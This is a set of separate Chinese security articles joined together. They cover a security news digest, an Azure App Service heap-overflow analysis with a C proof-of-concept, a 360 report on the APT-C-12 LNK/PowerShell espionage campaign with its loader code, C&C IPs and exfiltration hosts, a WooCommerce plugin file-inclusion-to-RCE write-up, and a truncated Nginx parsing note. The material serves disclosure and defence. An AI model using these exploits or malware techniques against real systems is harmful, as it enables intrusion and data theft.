##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 拉响WannaCry“紧急制动开关”的安全专家制作Kronos银行木马被捕、DEFCON 25 Recon Village OSINT
CTF Write-Up、Supervisord远程命令执行漏洞（CVE-2017-11610）、Windows Defender
ATP机器学习：检测新异常行为、dnstwist：域名排列引擎，检测域名拼字错误，用于检测网络钓鱼及企业间谍活动 ******
**
**
**资讯类：**
拉响WannaCry“紧急制动开关”的安全专家制作Kronos银行木马被捕
<http://securityaffairs.co/wordpress/61657/cyber-crime/marcus-hutchins-arrested.html>
**技术类：**
DEFCON 25 Recon Village OSINT CTF Write-Up
<https://www.digitalsecurity.fr/en/blog/write-defcon-25-recon-village-osint-ctf>
Supervisord远程命令执行漏洞（CVE-2017-11610）
<https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html>
针对无文件恶意软件JS_POWMET的分析
<http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/>
如何检测0day及无文件恶意软件
<https://community.rapid7.com/community/insightidr/blog/2017/07/26/how-do-you-identify-zero-days-and-fileless-malware-download-the-ram>
Python化VMware后门
<https://www.zerodayinitiative.com/blog/2017/8/1/pythonizing-the-vmware-backdoor>
CheckPlease:Payload-Agnostic Implant Security
<https://github.com/Arvanaghi/CheckPlease>
Nessus Compliance Generator
<https://coar.risc.anl.gov/nessus-compliance-generator/>
WannaCry的比特币赎金被转换为Monero
<https://www.cyberscoop.com/wannacry-monero-bitcoin/>
PowerShell混淆检测
<https://www.fireeye.com/blog/threat-research/2017/07/revoke-obfuscation-powershell.html>
Windows Defender ATP机器学习：检测新异常行为
<https://blogs.technet.microsoft.com/mmpc/2017/08/03/windows-defender-atp-machine-learning-detecting-new-and-unusual-breach-activity/>
dnstwist：域名排列引擎，检测域名拼字错误，用于检测网络钓鱼及企业间谍活动
<https://github.com/elceef/dnstwist> | 社区文章 |
# 远程云端执行（RCE）：Azure云架构中的漏洞分析（Part 2）
|
##### 译文声明
本文是翻译文章，文章原作者 research.checkpoint.com，文章来源：checkpoint
原文地址：<https://research.checkpoint.com/2020/remote-cloud-execution-critical-vulnerabilities-in-azure-cloud-infrastructure-part-ii/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在前一篇文章中，我们讨论了Azure Stack体系架构，该架构可使用核心功能之外的功能进行扩展。由于我们可以离线研究云组件，因此可以借此机会研究Azure
App Service。在本文中，我们将深入分析Azure App
Service内部原理，检查其体系结构、攻击点，介绍我们在某个组件中找到的一个严重漏洞，该漏洞可以影响Azure云。
## 0x01 Azure App Service
根据微软描述，Azure App Service可以帮助用户使用自己选择的编程语言来构建并托管web应用、移动后端以及RESTful
API，无需管理基础架构。Azure App Service提供了自动扩展及高可用特定，同时支持Windows及Linux，可以通过GitHub、Azure
DevOps或者其他Git仓库进行自动部署。、
## 0x02 Azure App Service架构
>
> 备注：以下部分信息摘抄自[https://channel9.msdn.com/Events/Ignite/2016/BRK3206。](https://channel9.msdn.com/Events/Ignite/2016/BRK3206%E3%80%82)
Azure App Service架构可以分为如下6类角色：
1、Controller（控制器）
管理App Service：Controller管理并监控App Service，在其他角色中执行WinRM函数，以便部署软件并确保一切如期运转。
2、文件服务器
应用内容：存储tenant（租户）的应用及数据。
3、Management（管理）
API、UI扩展及数据服务：管理角色可以用来托管API、UI扩展、tenant门户以及管理员门户。
4、Front End（前端）
App Service路由：前端承担负载均衡器功能，位置在Azure/Azure Stack中所有软件负载均衡器之后，是App
Service的负载均衡器，动态决定要将请求具体发送至哪个Web Worker。
5、Publisher（发布者）
FTP、Web Deploy：Publisher在Web Deploy端点中提供了一个FTP口，以便将所有tenant应用文件内容部署到文件服务器上。
6、Web Worker（Web工作者）
应用主机：托管应用的服务器，数量越多越好。这是我们主要感兴趣的部分，所有研究点都集中在这一部分。
现在我们已经知道App Service具有哪些角色，可以研究下这些角色之间如何相互交互（在默认的App Service配置下）：
## 0x03 Web Worker
前面提到过，tenant应用运行在Web Worker主机中，这意味着应用可以使用支持的语言来运行任意代码。如果tenant决定运行恶意代码，破坏Web
Worker主机或者其他正在运行的应用时，会出现什么情况？这是非常有趣的一个问题，但我们先要分析一些内部原理。
## 0x04 Microsoft Web Hosting Framework
代号为“Antares”，该框架提供了运行tenant应用的一个平台，包含如下几个组件：
### DWASSVC
该服务负责管理并运行tenant应用。通常情况下，每个tenant应用会分配2个或更多个IIS工作进程（`w3wp.exe`）。第一个进程运行[Kudu](https://github.com/projectkudu/kudu)，以便tenant以简单且可访问的方式来管理自己的应用。第二个进程实际运行tenant应用。这些进程属于“完整版应用”，运行在权限相对较低的同一个用户上下文中。
这个服务还有很多可研究点，回头我们再来讨论。
### 内核模式沙箱
其中最有趣的一个组件为`RsFilter.sys`，这是一个过滤器驱动，是不包含公开符号的另一个Azure专有组件。关于这个组件，我们完全可以基于逆向分析单独开辟一篇文章。然而，这里我们仅简要介绍一下其主要功能：
1、进程创建/删除跟踪
该驱动会使用`PsSetCreateProcessNotifyRoutine`回调来跟踪每个进程创建或删除操作。
内核中为“沙箱化进程”创建了2个主要结构。第一个结构我们称为`ProcessInfo`，其中包含进程相关信息，包括句柄、进程ID、映像文件名等。在IDA
Pro中查看该结构，如下所示：
创建（或收集）的第二个结构为`ProcessInfo`结构中的一个属性，我们称之为`SandboxSettings`。该结构非常庞大，包含关于进程沙箱环境的相关信息，比如进程/线程数限制、网络端口限制、环境路径等。部分片段摘抄如下：
当`ProcessInfo`结构创建完毕后，会被插入一张全局表中，以便内核驱动跟踪。这里需要注意的一个有趣点是，同一个沙箱中的其他进程也能共享这个`SandboxSettings`。比如，tenant应用、其子进程以及Kudu虽然有不同的`ProcessInfo`结构，但都具有相同的`SandboxSettings`。
### IOCTL及FltPort通信
IOCTL及FltPort是用户空间到驱动程序的主要通信接口。某些IOCTL可以被任意用户调用，某些需要特定权限。连接到过滤端口（FLT）需要较高权限，修改沙箱设置可以通过该端口进行操作。
### 文件系统过滤器
`RsFilter`注册了大量文件系统相关回调，以便正常处理相关事务。
如果大家之前使用过Azure App
Service，可能会知道应用可以访问`D:\home`，获取主目录。但大家是否想过其中的工作原理？比如每个tenant应用如何通过访问该路径来获取其对应的主目录？答案在`PreFilterOnCreateCallback`函数中。前面我们提到过`SandboxSettings`结构，其中有个`sandboxRemotePath`属性，该属性包含指向应用存储位置的一个UNC文件共享路径。DWASSVC会使用公开的过滤器端口（FltPort）与驱动通信，在IIS工作进程启动时设置该路径。因此，当应用尝试访问`D:\home`或者其他特定路径时，过滤器驱动会实时匹配并替换将路径替换为正确的路径值。
其他回调实现了文件系统限制功能，比如磁盘配额、目录/文件数量等。
### 网络过滤器
网络过滤器实现了一些安全机制，避免出现数据泄漏，降低被攻击风险。网络过滤器包含端口白名单机制以及本地端口过滤机制。比如，用户的应用无法连接到未监听的本地端口。此外，这里还有最大连接数限制、网络IP地址范围白名单、禁用原始套接字等。
比如如下SMB 445及139端口黑名单机制（大家还记得WannaCry攻击事件吗？），有人能找到其中可能存在的bug吗？
### 用户模式沙箱
每个IIS工作进程都会加载名为`RsHelper.dll`的一个DLL，该DLL使用微软的Detours库进行编译，hook了来自`kernel32.dll`、`advapi32.dll`、`ws2_32.dll`、`httpapi.dll`以及`ntdll.dll`等DLL中的大量函数。这里有趣的地方在于，该DLL还会hook
`CreateProcessA`/`CreateProcessW`函数。当这些函数被调用时，该DLL会使用大家熟知的DLL注入技术（`CreateRemoteThread`），将自身注入到创建的进程中。观察被hook的函数，我们可以看到微软在实现上考虑得较为全面，以阻止tenant应用在Web
Worker主机内部获取本不需要了解的相关信息。
如果大家想了解关于App
Service沙箱的更多信息，可以参考[这篇文章](https://github.com/projectkudu/kudu/wiki/Azure-Web-App-sandbox)，其中详细介绍了其功能特性。我们可以确定的是，微软已经实现了大部分功能。然而我们并没有看到某些功能，比如对`Win32k.sys`（User32/GDI32）的限制。即便如此，该安全机制可能已经在公有云上实现。
理解App Service的工作原理后，现在我们可以开始在本地攻击场景中寻找漏洞。
## 0x05 漏洞细节
在本节中，我们将与大家分享我们在DWASSVC中找到的一个漏洞。利用该漏洞，我们可以以`NT AUTHORITY\SYSTEM`权限执行代码。
在研究过程中，我们使用了Process Explorer（来自SysInternals
Suite的一款工具）来检查正在运行的进程，查看进程的执行方式、使用的命令行、模块等。我们在命令行中找到了一些有趣的参数：
这里我们能看到`-a`参数以及一个命名管道路径。这里我们自然有些问题：通过该管道发送的是什么数据？我们是否可以影响这些数据？为了回答这些问题，我们首先需要理解谁创建了该管道，答案是DWASSVC启动了工作进程。DWASSVC采用C#编写，我们使用反编译器查看内部代码。在新的工作进程创建前，服务首先会创建命名管道，以便与之通信。我们可以查看经过反编译的`Microsoft.Web.Hosting.ProcessModel.dll`源码，在`WorkerProcess.cs:Start`中找到相应逻辑：
`CreateIpmPipe`为原生函数，具体实现位于`DWASInterop.dll`中：
为了能“深入”分析`DWASInterop.dll`，我们需要完全逆向分析其源码。由于没有公共符号，并且该DLL采用C++编写，因此我们花了一些时间才完成该任务。然而，这里有许多调试字符串，其中公开了一些函数名称，并且我们还注意到该DLL会与IIS的`iisutil.dll`共享代码（后者具有公共符号）。对两者进行比较后，我们可以加快逆向分析过程。
来看一下`CreateIpmPipe`的内部实现：
可以看到其中调用了`CreateIpmMessagePipe`内部函数：
`CreateIpmMessagePipe`会调用`CreateNamedPipeW`来创建命名管道。如果观察函数参数，可以看到该函数使用了`PIPE_ACCESS_DUPLEX`，这意味着该管道为双向管道，服务端（DWASSVC）及客户端（`w3wp.exe`）可以读取并写入该管道。随后工作流执行完毕，结果返回C#程序。当代码返回时，DWASSVC会启动工作进程，将管道名以参数形式（`-a`标志）传入。工作进程启动后，会连接至管道，然后开始通信。
现在我们知道管道的创建方式，但该管道有什么作用呢？答案是进程间通信。比如，如果不想粗暴地杀掉工作进程，DWASSVC可以向其发送关闭请求，也就是“Worker
Shutdown Request”消息。当然这里还有其他一些消息格式，但我们对协议本身的实现比较感兴趣，想看一下能否找到其中存在的漏洞。
工作进程可以发送给DWASSVC服务的消息结构如下所示，我们将该结构命名为`WorkerItem`：
字段 | 描述
---|---
DWORD opcode（4字节） | The operation code
DWORD dataLength（4字节） | The length of the data
data | The actual data
当DWASSVC收到消息后（`DWASInterop.dll`），会调用`IPM_MESSAGE_PIPE::MessagePipeCompletion`回调来处理。传递给该回调的第一个（也是唯一一个参数）为一个`IPM_MESSAGE_IMP`实例。
`IPM_MESSAGE_IMP`是比较特殊的一个类，`DWASInterop`使用该类来描述具体消息。该类并没有太多字段，我们逆向出的部分字段如下所示：
该结构中包含指向`workerItem`的一个指针，也包含名为`workerItemSize`的一个属性，该属性值为`workerItem`的大小。`workerItemSize`中保存`workerItem`的完整大小（及`opcode
+ length + data`），而`workerItem.dataLength`只保存了`data`字段的大小。
当`IPM_MESSAGE_PIPE::MessagePipeCompletion`收到消息时，会存在一个有趣的边缘情况：
当读取数据时，会调用`ReallocateWorkerItem`函数。
代码会为`newWorkerItem`简单分配空间，然后将之前的数据拷贝到新结构中。
当调用该函数时，会传入`workerItem->dataLength`，然后使用传入的大小分配空间。然而，`memcpy`操作会根据`workerItemSize`执行。如果通过`DWASInterop.dll`或`iisutil.dll`公开的API（`WriteMessage`
API函数）来发送消息，那么这两个大小值会被自动计算。然而，如果攻击者可以将消息直接发送至命名管道，那么就可以发送如下类似的消息：
字段 | 取值
---|---
DWORD opcode（4字节） | 0x16（此时具体值无关紧要）
DWORD dataLength（4字节） | 0
data | A * 100（比较长的一个字符串）
此时`workerItemSize`会被计算为`108`，而`workerItem->dataLength`的值为`0`。在这种情况下，大小为`0`的分配操作会执行成功，而`memcpy`会使用大小为`108`这个值在分配的空间上执行操作，导致出现堆溢出现象，并且攻击者可以控制其内容及大小。
那么攻击者如何向DWASSVC（`DWASInterop.dll`）发送消息呢？根据微软的设计，在运行C#
Azure函数时，函数会运行在工作进程（`w3wp.exe`）的上下文中。这样攻击者就有可能枚举当前已打开的句柄，通过这种方式，找到已打开的命名管道句柄，发送精心构造的消息。我们触发漏洞的方式如下所示：
using System.Net;
using System.Runtime.InteropServices;
[DllImport("YOUR_DLL_NAME")]
public static extern void load();
public static async Task<HttpResponseMessage> Run(HttpRequestMessage req, TraceWriter log)
{
load();
log.Info("C# HTTP trigger function processed a request.");
return req.CreateResponse(HttpStatusCode.OK, "Malicious Function");
}
我们创建了一个C# Azure函数，用来加载原生DLL，调用`load`函数。
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma warning(disable: 4996)
#define MAX_PATH_LEN 2048
#define MAX_BUFF_LEN 2048
#define IPM_BUFFER_LEN(0x800)
typedef struct _pipedata {
unsigned int opcode;
unsigned int length;
char data[IPM_BUFFER_LEN];
}
PIPE_DATA;
extern "C"
__declspec(dllexport) int load(void) {
FILE * fh = NULL;
char path[256];
sprintf(path, "D:\\home\\output_%d_.txt", GetCurrentProcessId());
fh = fopen(path, "wb");
if (NULL != fh) {
int i = 0;
for (i = 1; i < 10000; i++) {
DWORD type = GetFileType((HANDLE) i);
if (FILE_TYPE_PIPE == type) {
PFILE_NAME_INFO fi;
DWORD structSize = (MAX_PATH_LEN * sizeof(wchar_t)) + sizeof(FILE_NAME_INFO);
fi = (PFILE_NAME_INFO) malloc(structSize);
if (fi == NULL)
continue;
memset(fi, 0, structSize);
if (NULL != fi) {
if (GetFileInformationByHandleEx((HANDLE) i, FileNameInfo, fi, structSize)) {
if (wcsstr(fi - > FileName, L "iisipm")) {
fprintf(fh, "Pipe: %x - %S\n", i, fi - > FileName);
fflush(fh);
DWORD writtenBytes = 0;
OVERLAPPED overlapped;
memset( & overlapped, 0, sizeof(OVERLAPPED));
PIPE_DATA pipedata;
memset( & pipedata, 'a', sizeof(PIPE_DATA));
pipedata.opcode = 0x0A;
pipedata.length = 0;
if (WriteFile((HANDLE) i, & pipedata, sizeof(PIPE_DATA), & writtenBytes, & overlapped)) {
fprintf(fh, "Successfully writen: %d bytes into %d\n", writtenBytes, i);
fflush(fh);
} else {
fprintf(fh, "Failed to write into %d\n", i);
fflush(fh);
}
}
} else {
fprintf(fh, "Error: %x, %d\n", i, GetLastError());
fflush(fh);
}
free(fi);
}
}
}
fclose(fh);
}
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
`load`函数会暴力枚举句柄，直到找到名称以`iisipm`开头的已打开句柄，然后构造恶意消息，立即发送该消息。执行代码后，DWASSVC会如期崩溃。
虽然我们只演示了崩溃场景，该漏洞还是可以用来实现权限提升。
## 0x06 漏洞影响
微软提供了各种App Service计划：
1、共享计算：Free及Shared，这两个基础层与其他App Service应用（包括其他客户的应用）在同一个Azure
VM上运行app。这些层将为运行在共享资源上的每个app分配CPU限额，相关资源无法扩展。
2、专用计算：Basic、Standard、Premium及PremiumV2层在专用Azure VM上运行app。只有相同App
Service计划中的应用能分享相同的计算资源。层级越高，我们能使用更多的VM实例来扩展。
3、隔离：这一层在Azure虚拟网络上运行专用Azure VM，以计算隔离为基础，为app提供网络隔离机制，也提供最大尺度的扩展功能。
如果大家想了解更多细节，可参考[官方文档](https://docs.microsoft.com/en-us/azure/app-service/overview-hosting-plans)。
如果在这些计算中利用该漏洞，我们就可以破坏微软的App
Service基础设施。然而，如果在Free/Shared计划上利用该漏洞，我们还能攻击其他tenant的应用、数据甚至账户。这样一来，攻击者就能成功打破App
Service的安全模型。
## 0x07 总结
云并不是一个神奇的地方，尽管大家认为云端比较安全，但云端归根结底也是一种基础设施，可能包含存在漏洞的代码，本文就是非常典型的一个案例。
微软已经公开并[修复](//portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1372))了该漏洞，漏洞编号为CVE-2019-1372，官方确认该漏洞会影响Azure
Cloud以及Azure Stack。 | 社区文章 |
# 蓝宝菇（APT-C-12）针对性攻击技术细节揭秘
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
360公司在2018年7月5日首次对外公开了一个从2011年开始持续近8年针对我国政府、军工、科研、金融等重点单位和部门进行网络间谍活动的高级攻击组织-**蓝宝菇（APT-C-12** **）**
，该组织的活动在近几个月内呈现非常活跃的状态。本文作为前期组织揭露报告的补充，详述蓝宝菇组织在近期攻击活动的技术细节，希望安全业界了解其攻击手法共同完善拼图，输出防御方案联合起来对抗这个国家级的威胁。
## 钓鱼攻击
2018年4月以来，360安全监测与响应中心和360威胁情报中心在企业机构的协同下发现了一批针对性的鱼叉攻击，攻击者通过诱导攻击对象打开鱼叉邮件云附件中的LNK文件来执行恶意PowerShell脚本收集上传用户电脑中的敏感文件，并安装持久化后门程序长期监控用户计算机。该攻击过程涉及一些新颖的LNK利用方式，使用了AWS
S3协议和云服务器通信来偷取用户的敏感资料，在此我们分析并公开整个攻击过程。
360威胁情报中心确认多个政企机构的外部通信邮箱被投递了一份发自boaostaff[@]163.com的鱼叉邮件，钓鱼邮件仿冒博鳌亚洲论坛向攻击对象发送了一封邀请函：
邮件附件被放到163的云附件里，此附件即为攻击者的恶意Payload，这是一个通过RAR打包的快捷方式样本。接下来我们对同一波攻击中的另一个完全相同功能的样本进行详细分析，以梳理整个攻击过程。
附件内容如下：一旦攻击对象被诱导打开该LNK快捷方式文件，LNK文件便会通过执行文件中附带的PowerShell恶意脚本来收集上传用户电脑中的敏感文件，并安装持久化后门程序长期监控用户计算机。
## 样本分析
### Dropper
附件压缩包内包含一个LNK文件，名字为：《政法网络舆情》会员申请.lnk，查看LNK文件对应的目标如下：
可以看到目标中并没有任何可见字符，使用二进制分析工具查看LNK文件可以看到PowerShell相关的字符串，以及很多Unicode不可见字符：
通过分析LNK文件格式中几个比较重要的结构，完整还原出样本真实执行的恶意目标，其中涉及3个LNK文件格式的重要结构：LinkTargetIDList、COMMAND_LINE_ARGUMENTS和EnvironmentVarableDataBlock。
* LinkTargetIDList，该结构是一个数组，用于标记具体的快捷方式的链接目标，而样本中多个LIST里的元素拼接起来才是快捷方式的具体链接目标：
CLSID_MyComputer\C:\Windows\system32\windOW~1\V1.0\POwersHELl.exe
---
通过调试可以看到目标路径和LinkTargetIDList拼接出来的结果一致：
* COMMAND_LINE_ARGUMENTS，该选项为目标程序的参数
样本中的目标程序参数则为具体需要执行的PowerShell恶意代码，另外由于在参数中包含了大量的不可显示Unicode字符，从而导致右键打开快捷方式时目标中并不会包含对应的PowerShell代码：
* EnvironmentVarableDataBlock，当链接目标程序涉及到环境变量时会使用
该值设置后会导致具体的快捷方式中的目标被设置为对应的EnvironmentVarableDataBlock值，但是需要注意的是，样本中EnvironmentVarableDataBlock对实际的程序调用并不起作用（删除并不影响最终的样本启动），最终Shell32.dll靠解析LInkTargetIDList数组来启动PowerShell。
### Payload（PowerShell脚本）
**解密PowerShell脚本**
将LNK文件指向执行的PowerShell脚本解密，该PowerShell命名为ps_origin，代码如下：
-join$a=$host.ui.rawui.windowtitle; //获取当前窗口的标题名
If(!$a.endswith(‘.lnk’)) //找到lnk文件
{$a+=’.lnk’}
$a=gi $a; //Get-Item
q64 (gc $a|select -l 1); //定位到最后一行，base64解密并执行
Function q64
{
param($6);
iex ([text.encoding]::utf8.getstring([convert]::frombase64string($6)))}
q64 $oC:\Windows\System32\shell32.dll
---
PowerShell脚本会定位执行LNK文件的最后一行，文件的最后一行如下：
文件最后一行经过Base64编码，解码后的数据为[压缩包+PowerShell脚本]的形式：
将最后的PowerShell脚本解密后如下（名称为ps_start）：
**ps_start**
被解密后的LNK文件最后一行中的PowerShell脚本中的ps_start会被首先执行，该PowerShell脚本主要用于解压出后续的压缩包，并继续运行其中的脚本，同时压缩包包含了相应的文件窃取模块，如下图所示脚本通过[convert]::frombase64string((gc
$a|select -l 2|select -f
1)));以Base64解密出对应的压缩包文件，之后使用Rundll32加载其中beoql.g后门文件（加载函数为DllRegister），同时将一段PowerShell脚本作为参数传入，该PowerShell命名为ps_loader：
压缩包解压后包含名为beoql.g的DLL后门、合法的Rar.exe压缩工具、以及真实呈现给用户的诱惑性DOC文档：
脚本会尝试访问以下3个IP地址，以确保C&C存活：
159.65.127.93
139.59.238.1
138.197.142.236若确认C&C存活，则通过命令行收集系统的基本信息：
**命令** | **描述**
---|---
Ipconfig /all | IP地址信息
Netstat -a | 相关网络连接信息
Arp -a | ARP table信息
Desktop files | 桌面文件
programfiles | Programfiles文件
Programfiles x86 | Programfiles文件
脚本获取基本信息后，再通过Rar.exe压缩为start.rar文件，之后使用RSA算法加密一个随机字符串e，秘钥如下：
<RSAKeyValue><Modulus>3w2Aa8octWRTs8/FhG9TxNHVOK+7L4RpX1iHY5mCkqbWwIomgpsEGvFqN3C9P1G/Yu+FV29BSlWHI6cUd7d8OK6AJD6vdF6uvoITVEsvPCkhwypZ+gbjkDirLGHI6wtTD4FF0X+EH7S6xBGqSHbOg+abDS3KlkMkwIzx5vhlbCUkckJFj31zmapLGIn4nTWybfP4nAhMuGGGvamXyQ+y4rrqTUPm1vU0GQh1zT2J9Ce204WubUlyhMMIhvAeOQ0TMKEVoCdU9yrRfj1rc36HYCO/RysGpKfx+mGcIWvPBXywXFuxEiGSqkk4jCf7Gh3eehfa98gmYuYChRP6CtoL8Q==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>
---
该随机字符串为之后上传文件的RAR加密密码，脚本会将该加密后的字符保存成id.rar文件，并通过函数pv9上传start.rar及id.rar文件到攻击者的云服务器中：最后脚本会遍历系统中指定的后缀文件（jpg,txt,eml,doc,xls,ppt,pdf,wps,wpp,et，只获取180天以内的文件），继续使用Rar.exe压缩获取的指定文件，密码为之前生成的变量e：而函数pv9会将对应的RAR文件通过AWS
S3
存储协议上传到一个网上的云服务商的地址：0123.nyc3.digitaloceanspaces.com，代码中包含的ACCESS_KEY和SECRET_KEY疑似亚马逊S3云服务存储协议所使用的相关KEY信息：Amazon
S3相关介绍：样本中使用该协议不过是添加一些跟服务端协商的请求头，请求头的value是用AWS s3
V4签名算法算出来的，一个标准的请求头如下所示:一次通信流程由上图代码红框中的函数ul3和ig3完成，其中ul3用于配置生成对应的请求头，ig3完成文件的上传。而ul3中用于封装请求，aws3对应的请求头如下图为其中的$9，其中一个重要的参数为Signature，由函数a53，e77共同生成，之后$9会封装到$g中，$g作为最终的请求头返回：最终完成上传文件：
**ps_loader**
ps_start中加载执行DLL后门后会从内置的三个IP地址中选择一个作为C&C，再次下载一段PowerShell，此处称之为ps_loader：ps_loader会首先生成用于请求的对应的us及Cookie字段，具体请求如下所示，可以看到返回的数据是一系列的十进制字符：接着对返回数据进行简单的初始化后，通过函数sj8对数据进行解密，可以看到攻击者使用了whatthefuckareyoudoing这个极富外国色彩的调侃俚语作为秘钥：解码后的内容也是一段PowerShell，此处命名为ps_backdoor，ps_backdoor会调用其对应的函数ROAGC：
**ps_backdoor**
ps_backdoor脚本为一段PowerShell后门，其主功能函数ROAGC的各参数对应的含义为：
参数1：周期，此处为10
参数2：id，此处为zhengyi5
参数3：IP/Port二元组
参数4：对应加密KEY
参数5：对应的MAC地址分析显示后门支持以下命令：
**命令** | **描述**
---|---
rs | 执行CMD命令
up | 上传文件
dw | 下载文件
该脚本还支持CMD命令功能，除了Windows外，还支持Linux下的命令执行：
**命令** | **描述**
---|---
ls/dir | 目录操作
mv/move/copy/cp/rm/del/rmdir | 文件操作
cd |
Ipconfig/ifconfig | 网络相关
ps/tasklist | 进程信息获取
whoami/getuid | 用户信息获取
rteboot/restart | 开关机
上传下载的通信流量通过AES进行了处理，KEY为ps_loader中传入的Dqd6lfRDcXK2KxIFDqU1S/MMyxGJ7qPIwM/xZe0R6Ps=：
### 持久化
ps_start脚本会使用Rundll32.exe加载执行样本中解压出来的beoql.g后门文件，该DLL为一个实现恶意代码持久化加载的模块，用于加载ps_loader，并通过修改LNK文件来实现持久化，其导出的函数如下所示：通过分析，DLL具体函数功能如下：
**函数** | **功能**
---|---
DllEntry | 用于启动PowerShell
DllRegister |
初始函数，用于保存传入的PowerShell，调用DllEntry启动PowerShell，调用DllInstall生成并启动用于修改系统LNK文件的BAT脚本
DllInstall | 生成并启动用于修改系统LNK文件的BAT脚本
DllCanUnload |
DllSetClassObject | 被BAT脚本调用用于修改LNK文件
DllUnsetClassObject | 还原LNK文件
DllCopyClassObject | 被BAT脚本调用用于拷贝LNK文件到临时目录下
DllEntryPoint | Dll入口
另外，ps_start中会直接调用该DLL的导出函数DllRegister，参数为对应的ps_loader脚本，函数首先会将ps_loader加密保存为beoql.g.ini，之后调用DllEntry和fun_Callinstall：beoql.g.ini加密保存的PowerShell如下所示：DllEntry被调用首先会通过CMD命令删除相关的金山的安全组件：之后通过CreateProcess函数启动ps_loader脚本：fun_Callinstall中解密出对应的加密字符，字符串为通过Rundll32.exe
调用导出函数DllInstall：具体如下所示：DllInstall函数首先遍历多个目录下的LNK文件：之后生成nview32_update.bat脚本，并运行：nview32_update.bat脚本执行后会检测并删除WPS的相关组件，之后对前面遍历获取的LNK文件进行修改操作：
首先通过调用导出函数DllCopyClassObject将该LNK文件拷贝到临时目录，再通过函数DllSetClassObject修改%temp%目录下的LNK文件，最后将修改过的LNK文件拷贝覆盖回去：DllSetClassObject中通过函数fun_Changelnk修改默认的LNK文件：修改过的LNK文件以多个感叹号分割：具体效果如下所示，LNK快捷方式文件被修改为通过Rundll32.exe调用该DLL的DllEntry函数，该函数的主要功能如前文所示用于运行对应的ps_loader脚本，通过劫持LNK快捷方式文件来起到持久化的作用：
### 攻击流程
整体攻击流程如下所示：
## 影响面评估
### 攻击时间
根据360网络安全研究院的全网数据抽样统计，对攻击者使用的两个云服务域名地址（子域名分别为0123和05011）的访问分别集中在4月和5月，这和我们捕获到的样本时间段完全一致，也就是说蓝宝菇APT组织在这两个月内使用本文描述的攻击方式进行了大量针对性的攻击：
### 攻击对象
由于恶意样本会将窃取的用户数据通过Amazon S3云存储协议上传到攻击者的云服务器中，360威胁情报中心通过对AWS
S3服务通信机制的深入解析，结合样本分析得到的数据模拟通信成功获取部分攻击者攻击过程中产生的中间数据，其中包括攻击对象的计算机名、被攻击时间等信息。数据显示仅一天时间内就有数个受害人员的信息被上传到服务器，整波攻击活动期间评估受控人员数量在百级。
## 总结
威胁情报在攻防对抗中发挥着越来越重要的作用，威胁情报不是简单的从blog、twitter等公开渠道获得开源情报。从本次事件中可以看出，只有具备扎实的安全能力、建立强大的数据基础并对威胁情报涉及的采集、处理、分析、发布、反馈等一系列的环节进行较长时期的投入建设，才能获得基于威胁情报的检测、分析、响应、预警等关键的安全能力。
目前，基于360威胁情报中心的威胁情报数据的全线产品，包括360威胁情报平台（TIP）、天眼高级威胁检测系统、360
NGSOC等，都已经支持对此APT攻击团伙攻击活动的实时检测和相关未知攻击的预警。
## IOC
**C &C IP**
---
159.65.127.93
139.59.238.1
138.197.142.236
**攻击者云服务地址**
0123.nyc3.digitaloceanspaces.com
05011.nyc3.digitaloceanspaces.com
## 参考
[1].<https://github.com/minio/minio-py>
[2].<https://docs.minio.io/docs/python-client-quickstart-guide>
[3].<https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/dev/Introduction.html>
[4].<https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/API/sig-v4-authenticating-requests.html>
[5].<https://developers.digitalocean.com/documentation/spaces/#authentication>
[6].<http://developer.huawei.com/ict/cn/doc/Object_Storage_Service_API_zh_p/zh-cn_topic_0016616545.html> | 社区文章 |
**作者：墨云科技VLab Team
原文链接：<https://mp.weixin.qq.com/s/2DqN3EsHqG24AjMy8scecA>**
# **漏洞简述**
WooCommerce Currency Switcher
(WOOCS)是WooCommerce的多货币插件，它允许你的网站访问者根据设定的货币汇率实时切换产品价格的货币，并以选定的货币支付。允许为WooCommerce商店添加任何货币,
是WooCommerce商城系统不可或缺的货币切换器及多货币付款WordPress插件。WOOCS在WordPress官方统计有6W+的用户量。
# **漏洞分析**
先查看WordPress官方仓库，对比下有哪些文件进行了改动。
可以看到修改的文件较多，对官方文档进行阅读后发现，该插件可以支持使用短标签shortcode方式调用显示，并且支持对短标签进行传入值，在classes/woocs.php中找到了注册shortcode的部分。
逐一看一下其具体实现的代码
首先会通过args接收短标签传入的值等配置信息,然后进过内部的赋值等操作到最后一步会调用render_html会传入两个值，一个是写死的woocs.php的路径，另一个为短标签接收到的参数,跟进该方法看一下具体逻辑
public function render_html($pagepath, $data = array()) {
@extract($data);
ob_start();
include($pagepath);
return ob_get_clean();
}
可以看到该代码非常简单，在第一步就调用了
extract
而该函数可以从数组中将变量导入到当前的符号表，即将数组中的键值对注册成函数，使用数组键名作为变量名，使用数组键值作为变量值。
这样就会导致变量覆盖的问题，接着看到下面直接调用了
include($pagepath)
看到这大家应该就明白了，只需要给传入的pagepath,从而导致达到任意文件包含的问题。然后我们制作一个图片马，就可以轻松将LFI漏洞升级为RCE漏洞。
# **漏洞验证**
LFI:
RCE:
# **时间线**
* 2021年7月19日WOOCS插件发布更新
* 2021年7月26日VLab实验室监测到漏洞通告
* 2021年7月26日VLab实验室完成该漏洞复现
# **影响版本**
WooCommerce Currency Switcher(<= 1.3.6.2)
# **修复建议**
登录WordPress后台，将相关插件更新至最新版。
* * * | 社区文章 |
# 解析漏洞
**漏洞简介：**
对于任意文件名，在后面加上/任意文件名`.php`后该文件就会以`php`格式进行解析，是用户配置不当造成的
**漏洞复现：**
在网站根目录新建`test.jpg`，里面写入`phpinfo()`，打开试一下
试一试`Nginx`的解析漏洞，在后面加上`/x.php`
